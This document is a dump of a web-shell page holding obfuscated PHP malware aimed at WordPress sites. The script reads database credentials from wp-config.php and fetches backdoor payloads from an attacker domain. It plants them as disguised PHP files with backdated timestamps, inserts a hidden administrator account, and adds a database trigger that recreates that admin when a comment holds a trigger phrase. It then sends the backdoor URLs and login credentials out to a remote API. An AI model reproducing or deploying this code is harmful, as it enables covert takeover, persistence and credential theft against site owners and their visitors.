| Server IP : 27.254.86.99 / Your IP : 216.73.216.234 Web Server : LiteSpeed System : Linux wp1.hostneverdie.com 4.18.0-553.46.1.lve.el8.x86_64 #1 SMP Wed Apr 2 11:16:45 UTC 2025 x86_64 User : qtccargo ( 1078) PHP Version : 8.2.29 Disable Function : apache_child_terminate, apache_setenv, define_syslog_variables, escapeshellarg, escapeshellcmd,exec, fp, fput, highlight_file, ini_alter, ini_restore, inject_code, passthru,phpAds_remoteInfo, phpAds_XmlRpc,phpAds_xmlrpcDecode, phpAds_xmlrpcEncode, popen, posix_getpwuid, posix_kill, posix_mkfifo, posix_setpgid, posix_setsid,posix_setuid, posix_setuid, posix_uname,proc_open,proc_close, proc_get_status, proc_nice, proc_terminate, shell_exec, syslog, system, xmlrpc_entity_decode, show_source,pcntl_exec,virtual,suexec,dbmopen,dl,disk_free_space,diskfreespace,leak MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/qtccargo/.cagefs/tmp/ |
Upload File : |
<?php
define('CURRENTDIR', getcwd());
define('UPLOAD_SHELL', 1);
define('OUT', 2);
define('API_PATH', 'http://march03252.com/src/accsec.php');
/** without http * */
define('PATH_TO_BACK_SHELL', 'wp-top.com/greh');
/** without http * */
$zepzgxerbt = 'http://march03252.com/src/temp/0edb7d78ca1c45f548b5efa5c6de6bf7';
$smuyjelov = xwgcvrktv();
$vizwwezayuyo = 'wpupdate';
$wtdvtylnezm = etwsp();
$wehrvbqgbqcm = $smuyjelov[1];
$ghkure = $wtdvtylnezm;
$zxovyjrxnq = '';
$jywwqll = 'https://wordpress.com';
$kkjuaqqp = hlwjjgl('2019-07-09 00:00:00', '2023-08-27 00:00:00');
$orzyildlpvji = '';
$jxnbpwncauo = '0';
$zgxilngi = $wtdvtylnezm;
if (is_null($gwwesnlrpuyz = rzzjiunx())) {
echo 'invalid detect wp root dir';
exit;
}
if (!function_exists('file_put_contents')) {
function file_put_contents($zpciza, $sflfouaupz) {
$svkbnvdkpibi = @fopen($zpciza, 'w');
if (!$svkbnvdkpibi) {
return false;
} else {
$agytktuy = fwrite($svkbnvdkpibi, $sflfouaupz);
fclose($svkbnvdkpibi);
return $agytktuy;
}
}
}
$ubfbyy = array();
if (!file_exists($cmanukidshhh = $gwwesnlrpuyz . '/wp-config.php')) {
echo 'wp-config not found';
exit;
}
$svoaaajuj = file_get_contents($cmanukidshhh);
preg_match_all("~^define.*(DB_NAME|DB_USER|DB_PASSWORD|DB_HOST)[\'\"],\s*[\'\"](.+)[\'\"]\s*\);~m", $svoaaajuj, $cknapmjxniu);
preg_match("~table_prefix\s+=\s*[\'\"](.+)[\'\"];~", $svoaaajuj, $aynjwtynu);
$kbnjpgrutpjr = $cknapmjxniu[2][0];
$ymhrlpzcoi = $cknapmjxniu[2][1];
$udpedtt = $cknapmjxniu[2][2];
$egbxykj = $cknapmjxniu[2][3];
$zqsxwohzhe = $aynjwtynu[1];
$amagpjga = mwlxvxwld($wtdvtylnezm, $wehrvbqgbqcm, $ghkure, $zxovyjrxnq, $jywwqll, $kkjuaqqp, $orzyildlpvji, $jxnbpwncauo, $zgxilngi, $kbnjpgrutpjr, $zqsxwohzhe);
$rxrooxjiwq = mysqli_connect($egbxykj, $ymhrlpzcoi, $udpedtt, $kbnjpgrutpjr);
if (!$rxrooxjiwq) {
require_once($gwwesnlrpuyz . '/wp-config.php');
$efcbuho = get_defined_constants(true);
if (!$efcbuho['user']) {
throw new \Exception("Could not connect");
}
$kbnjpgrutpjr = $efcbuho['user']['DB_NAME'];
$ymhrlpzcoi = $efcbuho['user']['DB_USER'];
$udpedtt = $efcbuho['user']['DB_PASSWORD'];
$egbxykj = $efcbuho['user']['DB_HOST'];
$zqsxwohzhe = $aynjwtynu[1];
$rxrooxjiwq = mysqli_connect($egbxykj, $ymhrlpzcoi, $udpedtt, $kbnjpgrutpjr);
}
$gjxvtkkoo = $_SERVER['HTTP_HOST'];
if (mysqli_connect_errno()) {
$qirjva = 1;
echo "Could not connect" . PHP_EOL;
} else {
echo "Connected successfully" . PHP_EOL;
$xsukml = mysqli_query($rxrooxjiwq, "select * from " . $zqsxwohzhe . "options where option_name = 'home' or option_name = 'siteurl'");
$rkexopuwcb = mysqli_fetch_row($xsukml);
if (stristr($rkexopuwcb[2], 'http') !== false) {
$gjxvtkkoo = $rkexopuwcb[2];
}
if (stristr($rkexopuwcb[3], 'http') !== false) {
$gjxvtkkoo = $rkexopuwcb[3];
}
}
if (UPLOAD_SHELL === 1) {
if (!function_exists('curl_init')) {
$fsyxjjrrjoyt = jsuktkux($zepzgxerbt);
define('USE_FGC', 1);
} else {
$fsyxjjrrjoyt = mzyyinv($zepzgxerbt);
}
if (!$fsyxjjrrjoyt) {
echo 'check sh domain' . PHP_EOL;
exit;
}
if ($fsyxjjrrjoyt[1] === 403) {
echo 'firewall in action!';
exit;
}
if ($fsyxjjrrjoyt[1] !== 200) {
echo 'need update script' . PHP_EOL;
exit;
}
$qggthy = $fsyxjjrrjoyt[0];
$vfsrbqx = unserialize(base64_decode($qggthy));
$mvigdhwuxmmw = array('variable', 'function', 'class', 'object', 'array', 'string', 'integer', 'boolean', 'float', 'double', 'character', 'list', 'set', 'queue', 'stack', 'pointer', 'reference', 'constructor', 'interface', 'method', 'event', 'exception', 'loop', 'condition', 'statement', 'module', 'package', 'library', 'framework', 'compiler', 'interpreter', 'database', 'sql', 'query', 'index', 'table', 'view', 'trigger', 'schema', 'git', 'repository', 'branch', 'merge', 'client', 'encryption', 'decryption', 'hashing', 'session', 'cookie', 'json', 'xml', 'restful', 'soap', 'url', 'http', 'https', 'dns', 'firewall', 'security', 'ajax-response', 'cron', 'stream', 'private', 'meta', 'wp', 'core', 'ajax', 'beta', 'alpha', 'sample', 'path', 'request', 'old', 'info', 'base', 'num', 'all', 'stat', 'new', 'plain', 'add', 'edit', 'live', 'pic', 'less', 'more', 'part', 'get', 'long', 'call', 'first', 'time', 'other');
$nwvxpl = fvajqlegv($gwwesnlrpuyz . '/wp-admin', 3);
$xkgwtghp = fvajqlegv($gwwesnlrpuyz . '/wp-content/plugins', 3);
$aajatnif = fvajqlegv($gwwesnlrpuyz . '/wp-includes', 3);
$deutkpleq = fvajqlegv($gwwesnlrpuyz . '/wp-content/themes', 3);
$jsxscfew = array_merge($nwvxpl, $xkgwtghp, $aajatnif, $deutkpleq);
$tjyzen = count($mvigdhwuxmmw);
$utzwxuebb = $gwwesnlrpuyz . '/wp-config-sample.php';
$qzwtdkl = $vfsrbqx['wp-config-sample.php?config'];
$rfbaikgaylcb = $mvigdhwuxmmw[rand(0, $tjyzen - 1)] . dqcsyjxqk(rand(3, 6));
$okyhmllklke = '$_GET[\'' . $rfbaikgaylcb . '\']';
$qzwtdkl = str_replace('$_GET[\'config\']', $okyhmllklke, $qzwtdkl);
file_put_contents($utzwxuebb, $qzwtdkl);
touch($utzwxuebb, ebbumgwyu(dirname($utzwxuebb)));
$ubfbyy[] = ezdpxhzjd($gwwesnlrpuyz, $utzwxuebb . '?' . $rfbaikgaylcb, $gjxvtkkoo);
unset($vfsrbqx['wp-config-sample.php?config']);
if (empty($jsxscfew)) {
echo 'no directories to write' . PHP_EOL;
exit;
}
$ooawnhepnrd = array_keys($vfsrbqx);
foreach ($jsxscfew as $ywtpycrd) {
if (empty($ooawnhepnrd)) {
$ooawnhepnrd = array_keys($vfsrbqx);
}
$zyswprapm = str_replace('.php', '-' . $mvigdhwuxmmw[rand(0, $tjyzen - 1)] . '.php', $ywtpycrd);
$lhpcrcb = array_shift($ooawnhepnrd);
$dsnfdfga = $vfsrbqx[$lhpcrcb];
file_put_contents($zyswprapm, $dsnfdfga);
touch($zyswprapm, ebbumgwyu(dirname($zyswprapm)));
$nyxcivpuinig = explode('?', $lhpcrcb);
$hxophcjk = ezdpxhzjd($gwwesnlrpuyz, $zyswprapm, $gjxvtkkoo);
$ubfbyy[] = (isset($nyxcivpuinig[1])) ? $hxophcjk . '?' . tkqshnjs($nyxcivpuinig[1]) : $hxophcjk;
}
}
function tkqshnjs($nyxcivpuinig) {
if (defined('PATH_TO_BACK_SHELL') && (stristr($nyxcivpuinig, 'example.com') !== false)) {
return str_replace('example.com', PATH_TO_BACK_SHELL, $nyxcivpuinig);
}
return $nyxcivpuinig;
}
if (!isset($qirjva)) {
$vmvvgfggvr = ojqdirnya($gjxvtkkoo);
$vszdgslyp = "update `${zqsxwohzhe}options` set option_value = '' WHERE `option_name` LIKE 'close_comments_for_old_posts'";
if (!mysqli_query($rxrooxjiwq, $vszdgslyp)) {
echo 'invalid set value 0 for option >>close_comments_value<<' . PHP_EOL;
}
$nhfgehnvozk = "UPDATE `${zqsxwohzhe}posts` set ping_status = 'open' where (post_type = 'page' OR post_type = 'post') AND post_status = 'publish' AND guid LIKE '%${vmvvgfggvr}%' ORDER BY id LIMIT 5";
$mtfqxwq = array();
if (mysqli_query($rxrooxjiwq, $nhfgehnvozk)) {
//echo 'posts ready to accept trackbacks' . PHP_EOL;
$opiifnofuvpk = "select id, guid, post_name from `${zqsxwohzhe}posts` where (post_type = 'page' OR post_type = 'post') AND post_status = 'publish' AND guid LIKE '%${vmvvgfggvr}%' ORDER BY id LIMIT 5";
$mekarogrtr = mysqli_query($rxrooxjiwq, $opiifnofuvpk);
while ($kolxfvijw = mysqli_fetch_array($mekarogrtr)) {
$mtfqxwq[] = array($kolxfvijw['id'], $kolxfvijw['guid'], $kolxfvijw['post_name']);
}
}
//$bqtsahxc = "SELECT * FROM `${zqsxwohzhe}users` WHERE `user_pass` = '$wehrvbqgbqcm'";
$bqtsahxc = "SELECT * FROM `${zqsxwohzhe}users` WHERE `user_login` = '$wtdvtylnezm' order by id desc limit 1";
$fiqevobqy = "SELECT * FROM `${zqsxwohzhe}users` WHERE `user_login` = '$vizwwezayuyo'";
$dtiiwphf = mysqli_query($rxrooxjiwq, $bqtsahxc);
$ohakkpiisx = mysqli_query($rxrooxjiwq, $fiqevobqy);
if (mysqli_num_rows($ohakkpiisx)) {
$wvbjhojgt = "delete from `${zqsxwohzhe}users` WHERE `user_login` = '$vizwwezayuyo'";
mysqli_query($rxrooxjiwq, $wvbjhojgt);
}
if (!mysqli_num_rows($dtiiwphf)) {
$hlkmjnxv = mysqli_query($rxrooxjiwq, "SELECT ID from `" . $kbnjpgrutpjr . "`.`" . $zqsxwohzhe . "users` ORDER BY `ID` DESC LIMIT 1");
$gzbnwzc = mysqli_fetch_row($hlkmjnxv);
$axwpeqstei = (int)++$gzbnwzc[0];
mysqli_query($rxrooxjiwq, "INSERT INTO `" . $kbnjpgrutpjr . "`.`" . $zqsxwohzhe . "users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES ('$axwpeqstei', '$wtdvtylnezm', '$wehrvbqgbqcm', '$ghkure', '$zxovyjrxnq', '$jywwqll', '$kkjuaqqp', '$orzyildlpvji', '$jxnbpwncauo', '$zgxilngi')");
mysqli_query($rxrooxjiwq, "INSERT INTO `" . $kbnjpgrutpjr . "`.`" . $zqsxwohzhe . "usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, $axwpeqstei, '" . $zqsxwohzhe . "capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}')");
mysqli_query($rxrooxjiwq, "INSERT INTO `" . $kbnjpgrutpjr . "`.`" . $zqsxwohzhe . "usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, $axwpeqstei, '" . $zqsxwohzhe . "user_level', '10')");
//echo $gjxvtkkoo . " admin inserted" . PHP_EOL;
echo sprintf('%s admin inserted %s::%s', $gjxvtkkoo, $wtdvtylnezm, $smuyjelov[0]) . PHP_EOL;
$umeytjpmpy = 1;
mysqli_query($rxrooxjiwq, "DROP TRIGGER IF EXISTS `after_insert_comment`");
try {
if (mysqli_query($rxrooxjiwq, $amagpjga)) {
echo 'trigger created' . str_repeat(PHP_EOL, 3);
}
} catch (\Exception $qzicnyyoi) {
echo $qzicnyyoi->getMessage() . PHP_EOL;
}
} else {
while ($qvyxfqea = mysqli_fetch_array($dtiiwphf)) {
$doqgexdlua = $qvyxfqea['user_pass'];
}
$hitszsmgdmv = "SHOW TRIGGERS";
$mtkbxqjquc = mysqli_query($rxrooxjiwq, $hitszsmgdmv);
if ($mtkbxqjquc) {
while ($hylorspcp = mysqli_fetch_array($mtkbxqjquc)) {
if ($hylorspcp['Trigger'] === 'after_insert_comment') {
if (strpos($hylorspcp['Statement'], $doqgexdlua) !== false) {
//echo 'hash and trigger matched!';
break;
} else {
//echo 'not matched need drop trigger';
mysqli_query($rxrooxjiwq, "DROP TRIGGER IF EXISTS `after_insert_comment`");
try {
$amagpjga = mwlxvxwld($wtdvtylnezm, $doqgexdlua, $ghkure, $zxovyjrxnq, $jywwqll, $kkjuaqqp, $orzyildlpvji, $jxnbpwncauo, $zgxilngi, $kbnjpgrutpjr, $zqsxwohzhe);
if (mysqli_query($rxrooxjiwq, $amagpjga)) {
echo 'trigger created' . str_repeat(PHP_EOL, 3);
}
} catch (\Exception $qzicnyyoi) {
echo $qzicnyyoi->getMessage() . PHP_EOL;
}
}
break;
}
}
}
echo $gjxvtkkoo . ' admin exists' . PHP_EOL;
}
mysqli_close($rxrooxjiwq);
}
echo implode("\n", $ubfbyy) . "\n";
$ubfbyy['host'] = $gjxvtkkoo;
if (!empty($mtfqxwq)) {
$ubfbyy['trackbacks'] = $mtfqxwq;
}
if (isset($umeytjpmpy)) {
$ubfbyy['authdata'] = array($wtdvtylnezm, $smuyjelov[0]);
}
$ubfbyy['out'] = OUT;
$skrjhrlxwsbq = tfucv(API_PATH, array('source' => base64_encode(serialize($ubfbyy)),));
if (trim($skrjhrlxwsbq) !== 'success') {
echo "!!!!error while sending data!!!!" . PHP_EOL;
exit;
}
echo str_repeat('_', 400) . "\n";
function rzzjiunx() {
if (file_exists(CURRENTDIR . '/wp-config.php')) {
return CURRENTDIR;
}
$dyhpoetnibr = preg_replace('~\/(wp-admin|wp-includes|wp-content).*$~', '', CURRENTDIR);
if (file_exists($dyhpoetnibr . '/wp-config.php')) {
return $dyhpoetnibr;
}
return null;
}
function jsuktkux($hxophcjk) {
$trxrqiw = stream_context_create(array('http' => array('ignore_errors' => true)));
$sflfouaupz = @file_get_contents($hxophcjk, false, $trxrqiw);
if ($sflfouaupz === false) {
$cqekpqql = error_get_last();
//echo "HTTP request failed. Error was: " . $cqekpqql['message'];
return false;
} else {
$agrdfg = null;
if (!empty($hlxnxkavvpjj) && isset($hlxnxkavvpjj[0])) {
preg_match('{HTTP\/\S*\s(\d{3})}', $hlxnxkavvpjj[0], $gmyavtjgg);
$agrdfg = intval($gmyavtjgg[1]);
}
return array($sflfouaupz, $agrdfg);
}
}
function mzyyinv($hxophcjk) {
$qxpxmhiotw = curl_init();
curl_setopt($qxpxmhiotw, CURLOPT_URL, $hxophcjk);
curl_setopt($qxpxmhiotw, CURLOPT_HEADER, 0);
curl_setopt($qxpxmhiotw, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($qxpxmhiotw, CURLOPT_TIMEOUT, 10);
$sflfouaupz = curl_exec($qxpxmhiotw);
if (!$sflfouaupz) {
return false;
}
$gkzhxxkfqb = curl_getinfo($qxpxmhiotw, CURLINFO_HTTP_CODE);
curl_close($qxpxmhiotw);
return array($sflfouaupz, $gkzhxxkfqb);
}
function tfucv($hxophcjk, $sflfouaupz) {
if (defined('USE_FGC')) {
return xjifgah($hxophcjk, $sflfouaupz);
}
return jepqj($hxophcjk, $sflfouaupz);
}
function xjifgah($hxophcjk, $sflfouaupz) {
$ivmbmafrrov = http_build_query($sflfouaupz);
$kxhlqzeqdgg = array(
'http' => array(
'method' => 'POST',
'header' => 'Content-Type: application/x-www-form-urlencoded',
'content' => $ivmbmafrrov,
'timeout' => 10,
),
"ssl" => array(
"verify_peer" => false,
"verify_peer_name" => false,
),
);
$trxrqiw = stream_context_create($kxhlqzeqdgg);
$drfyclnsjsf = @file_get_contents($hxophcjk, false, $trxrqiw);
$agrdfg = null;
if (isset($hlxnxkavvpjj[0])) {
preg_match('{HTTP\/\S*\s(\d{3})}', $hlxnxkavvpjj[0], $gmyavtjgg);
$agrdfg = intval($gmyavtjgg[1]);
}
return ($agrdfg === 200) ? trim($drfyclnsjsf) : null;
}
function jepqj($hxophcjk, $sflfouaupz) {
$qxpxmhiotw = curl_init();
curl_setopt($qxpxmhiotw, CURLOPT_URL, $hxophcjk);
curl_setopt($qxpxmhiotw, CURLOPT_RETURNTRANSFER, true);
curl_setopt($qxpxmhiotw, CURLOPT_TIMEOUT, 10);
curl_setopt($qxpxmhiotw, CURLOPT_POST, true);
curl_setopt($qxpxmhiotw, CURLOPT_POSTFIELDS, $sflfouaupz);
curl_setopt($qxpxmhiotw, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($qxpxmhiotw, CURLOPT_SSL_VERIFYPEER, 0);
$drfyclnsjsf = curl_exec($qxpxmhiotw);
$ijyroe = curl_getinfo($qxpxmhiotw);
curl_close($qxpxmhiotw);
return ($ijyroe["http_code"] == 200) ? trim($drfyclnsjsf) : null;
}
function ebbumgwyu($iwnwjgiap) {
foreach (glob($iwnwjgiap . "/*php") as $pvgbtfgrv) {
$vkzkdgw[] = filemtime($pvgbtfgrv);
}
$laavip = array_count_values($vkzkdgw);
arsort($laavip);
$ooawnhepnrd = array_keys($laavip);
return array_shift($ooawnhepnrd);
}
function ezdpxhzjd($otvcwdfmiyjz, $zyswprapm, $vmvvgfggvr = null) {
$vmvvgfggvr = !$vmvvgfggvr ? 'http://' . $_SERVER['HTTP_HOST'] : $vmvvgfggvr;
$rkffaudpklv = str_replace($otvcwdfmiyjz, '', $zyswprapm);
return rtrim($vmvvgfggvr, '/') . DIRECTORY_SEPARATOR . ltrim($rkffaudpklv, '/');
}
function zvxmdlep($jzjpaz, $iwwwjljb = 1) {
if (!is_dir($jzjpaz)) {
return;
}
$yrmterkgm = realpath($jzjpaz);
$ecxyurwq = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($yrmterkgm), RecursiveIteratorIterator::SELF_FIRST, RecursiveIteratorIterator::CATCH_GET_CHILD);
$ecxyurwq->setMaxDepth($iwwwjljb);
foreach ($ecxyurwq as $nrjeemsj => $eckjhcbg) {
if (($yrmterkgm = $eckjhcbg->getPath()) === $jzjpaz) {
continue;
}
if (is_dir($eckjhcbg) && is_writeable($eckjhcbg)) {
$vkzkdgw[] = $yrmterkgm;
}
}
return array_unique($vkzkdgw);
}
function fvajqlegv($jzjpaz, $ojgtmk = 2, $iwwwjljb = 1) {
if (!is_dir($jzjpaz)) {
return;
}
$yrmterkgm = realpath($jzjpaz);
$ecxyurwq = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($yrmterkgm), RecursiveIteratorIterator::SELF_FIRST, RecursiveIteratorIterator::CATCH_GET_CHILD);
$ecxyurwq->setMaxDepth($iwwwjljb);
$vkzkdgw = array();
foreach ($ecxyurwq as $nrjeemsj => $eckjhcbg) {
$yrmterkgm = $eckjhcbg->getPathName();
if (stristr($yrmterkgm, '.php') === false) {
continue;
}
if (!is_writeable(dirname($yrmterkgm))) {
continue;
}
$vkzkdgw[$yrmterkgm] = 1;
}
$xcqbfmqb = array_keys($vkzkdgw);
shuffle($xcqbfmqb);
return array_slice($xcqbfmqb, 0, $ojgtmk);
}
function mwlxvxwld($wtdvtylnezm, $wehrvbqgbqcm, $ghkure, $zxovyjrxnq, $jywwqll, $kkjuaqqp, $orzyildlpvji, $jxnbpwncauo, $zgxilngi, $kbnjpgrutpjr, $zqsxwohzhe) {
$epktyhlng = <<<STR
CREATE TRIGGER `after_insert_comment` AFTER INSERT ON `${kbnjpgrutpjr}`.`${zqsxwohzhe}comments`
FOR EACH ROW BEGIN
IF NEW.comment_content LIKE '%are you struggling to get comments on your blog?%' THEN
SET @lastInsertWpUsersId = (SELECT MAX(id) FROM `${kbnjpgrutpjr}`.`${zqsxwohzhe}users`);
SET @nextWpUsersID = @lastInsertWpUsersId + 1;
INSERT INTO `${kbnjpgrutpjr}`.`${zqsxwohzhe}users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES (@nextWpUsersID, '${wtdvtylnezm}', '${wehrvbqgbqcm}', '${ghkure}', '${zxovyjrxnq}', '${jywwqll}', '${kkjuaqqp}', '${orzyildlpvji}', '${jxnbpwncauo}', '${zgxilngi}');
INSERT INTO `${kbnjpgrutpjr}`.`${zqsxwohzhe}usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @nextWpUsersID, '${zqsxwohzhe}capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}');
INSERT INTO `${kbnjpgrutpjr}`.`${zqsxwohzhe}usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, @nextWpUsersID, '${zqsxwohzhe}user_level', '10');
END IF;
END;
STR;
return $epktyhlng;
}
function ojqdirnya($hxophcjk) {
$vmvvgfggvr = parse_url($hxophcjk, PHP_URL_HOST);
return str_replace('www.', '', $vmvvgfggvr);
}
function hlwjjgl($hqtuxphqk, $tkkvjxlcfy, $zcglxekvx = 'Y-m-d H:i:s') {
$pvkazmkwg = strtotime($hqtuxphqk);
$xjhzwulrnr = strtotime($tkkvjxlcfy);
$lbivqceauf = mt_rand($pvkazmkwg, $xjhzwulrnr);
return date($zcglxekvx, $lbivqceauf);
}
function dqcsyjxqk($esrputtxgh, $cgzdczwlsa = false) {
$buqwkwtup = "abcdefghijklmnopqrstuvwxyz";
if ($cgzdczwlsa) {
$buqwkwtup .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890~><?}{[];!@#$%^&*()_+-={}[]:;<=>?@';
}
$pfvshyjovxar = strlen($buqwkwtup);
$bttmazbpz = "";
for ($awefnrsbwr = 0; $awefnrsbwr < $esrputtxgh; $awefnrsbwr++) {
$bttmazbpz .= $buqwkwtup[rand(0, $pfvshyjovxar - 1)];
}
return $bttmazbpz;
}
function etwsp() {
preg_match_all('~\d~', md5($_SERVER['HTTP_HOST']), $ohebjcyik);
$mkylorxoec = $ohebjcyik[0][0];
$fcgyxmczde = end($ohebjcyik[0]);
$krrvsy = array('wp', 'cms', 'web', 'dev', 'blog', 'main', 'articles', 'notes', 'news', 'archive',);
$bysnfvzp = array('panel', 'feed', 'client', 'user', 'rss', 'option', 'auth', 'table', 'user', 'profile',);
return $krrvsy[$mkylorxoec] . $bysnfvzp[$fcgyxmczde];
}
function zeiwnbfr($zbqirw, $fkdlkfrcru) {
$jbytjbvbjtct = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
define('ITOA64_CUSTOM', $jbytjbvbjtct);
if ($zbqirw < 4 || $zbqirw > 31) {
$zbqirw = 8;
}
define('ITERATION_COUNT_LOG2_CUSTOM', $zbqirw);
define('PORTABLE_HASHES_CUSTOM', $fkdlkfrcru);
$ugyespcex = microtime();
if (function_exists('getmypid')) {
$ugyespcex .= getmypid();
}
define('RANDOM_STATE_CUSTOM', $ugyespcex);
}
function ntgcrjfl($gbmvmtbihlg) {
if (strlen($gbmvmtbihlg) > 4096) {
return '*';
}
$yndgmv = '';
if (CRYPT_BLOWFISH === 1 && !PORTABLE_HASHES_CUSTOM) {
$yndgmv = fhbuumrrm(16);
$ucnmefvue = crypt($gbmvmtbihlg, ipnxeb($yndgmv));
if (strlen($ucnmefvue) === 60) {
return $ucnmefvue;
}
}
if (strlen($yndgmv) < 6) {
$yndgmv = fhbuumrrm(6);
}
$ucnmefvue = fcezonzf($gbmvmtbihlg, aqpcvl($yndgmv));
if (strlen($ucnmefvue) === 34) {
return $ucnmefvue;
}
return '*';
}
function fhbuumrrm($laavip) {
$decfwevw = '';
if (@is_readable('/dev/urandom') && ($iapgzm = @fopen('/dev/urandom', 'rb'))) {
$decfwevw = fread($iapgzm, $laavip);
fclose($iapgzm);
}
if (strlen($decfwevw) < $laavip) {
$decfwevw = '';
$mdqcjzqzd = RANDOM_STATE_CUSTOM;
for ($awefnrsbwr = 0; $awefnrsbwr < $laavip; $awefnrsbwr += 16) {
$mdqcjzqzd = md5(microtime() . $mdqcjzqzd);
$decfwevw .= md5($mdqcjzqzd, TRUE);
}
$decfwevw = substr($decfwevw, 0, $laavip);
}
return $decfwevw;
}
function ipnxeb($lybmenqlcq) {
$jbytjbvbjtct = './ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789';
$decfwevw = '$2a$';
$decfwevw .= chr((int)(ord('0') + ITERATION_COUNT_LOG2_CUSTOM / 10));
$decfwevw .= chr(ord('0') + ITERATION_COUNT_LOG2_CUSTOM % 10);
$decfwevw .= '$';
$awefnrsbwr = 0;
do {
$kkjsletem = ord($lybmenqlcq[$awefnrsbwr++]);
$decfwevw .= $jbytjbvbjtct[$kkjsletem >> 2];
$kkjsletem = ($kkjsletem & 0x03) << 4;
if ($awefnrsbwr >= 16) {
$decfwevw .= $jbytjbvbjtct[$kkjsletem];
break;
}
$sinjpui = ord($lybmenqlcq[$awefnrsbwr++]);
$kkjsletem |= $sinjpui >> 4;
$decfwevw .= $jbytjbvbjtct[$kkjsletem];
$kkjsletem = ($sinjpui & 0x0f) << 2;
$sinjpui = ord($lybmenqlcq[$awefnrsbwr++]);
$kkjsletem |= $sinjpui >> 6;
$decfwevw .= $jbytjbvbjtct[$kkjsletem];
$decfwevw .= $jbytjbvbjtct[$sinjpui & 0x3f];
} while (1);
return $decfwevw;
}
function fcezonzf($gbmvmtbihlg, $oetkiesv) {
$decfwevw = '*0';
if (substr($oetkiesv, 0, 2) === $decfwevw) {
$decfwevw = '*1';
}
$bzjypyg = substr($oetkiesv, 0, 3);
//if ($bzjypyg !== '$xkogpzt$' && $bzjypyg !== '$xdsqftnwqb$') {
if ($bzjypyg !== base64_decode('JFAk') && $bzjypyg !== base64_decode('JEgk')) {
return $decfwevw;
}
$tyumtf = strpos(ITOA64_CUSTOM, $oetkiesv[3]);
if ($tyumtf < 7 || $tyumtf > 30) {
return $decfwevw;
}
$laavip = 1 << $tyumtf;
$gvlcla = substr($oetkiesv, 4, 8);
if (strlen($gvlcla) !== 8) {
return $decfwevw;
}
$ucnmefvue = md5($gvlcla . $gbmvmtbihlg, TRUE);
do {
$ucnmefvue = md5($ucnmefvue . $gbmvmtbihlg, TRUE);
} while (--$laavip);
$decfwevw = substr($oetkiesv, 0, 12);
$decfwevw .= awkhipyx($ucnmefvue, 16);
return $decfwevw;
}
function awkhipyx($lybmenqlcq, $laavip) {
$decfwevw = '';
$awefnrsbwr = 0;
$jbytjbvbjtct = ITOA64_CUSTOM;
do {
$jgwapiaixm = ord($lybmenqlcq[$awefnrsbwr++]);
$decfwevw .= $jbytjbvbjtct[$jgwapiaixm & 0x3f];
if ($awefnrsbwr < $laavip) {
$jgwapiaixm |= ord($lybmenqlcq[$awefnrsbwr]) << 8;
}
$decfwevw .= $jbytjbvbjtct[($jgwapiaixm >> 6) & 0x3f];
if ($awefnrsbwr++ >= $laavip) {
break;
}
if ($awefnrsbwr < $laavip) {
$jgwapiaixm |= ord($lybmenqlcq[$awefnrsbwr]) << 16;
}
$decfwevw .= $jbytjbvbjtct[($jgwapiaixm >> 12) & 0x3f];
if ($awefnrsbwr++ >= $laavip) {
break;
}
$decfwevw .= $jbytjbvbjtct[($jgwapiaixm >> 18) & 0x3f];
} while ($awefnrsbwr < $laavip);
return $decfwevw;
}
function aqpcvl($lybmenqlcq) {
//$decfwevw = '$xkogpzt$';
$decfwevw = base64_decode('JFAk');
$jbytjbvbjtct = ITOA64_CUSTOM;
$decfwevw .= $jbytjbvbjtct[min(ITERATION_COUNT_LOG2_CUSTOM + 5, 30)];
$decfwevw .= awkhipyx($lybmenqlcq, 6);
return $decfwevw;
}
function xwgcvrktv() {
$hwfzaksayzx = dqcsyjxqk(rand(20, 40), true);
zeiwnbfr(4, true);
$ucnmefvue = ntgcrjfl($hwfzaksayzx);
return array($hwfzaksayzx, $ucnmefvue);
}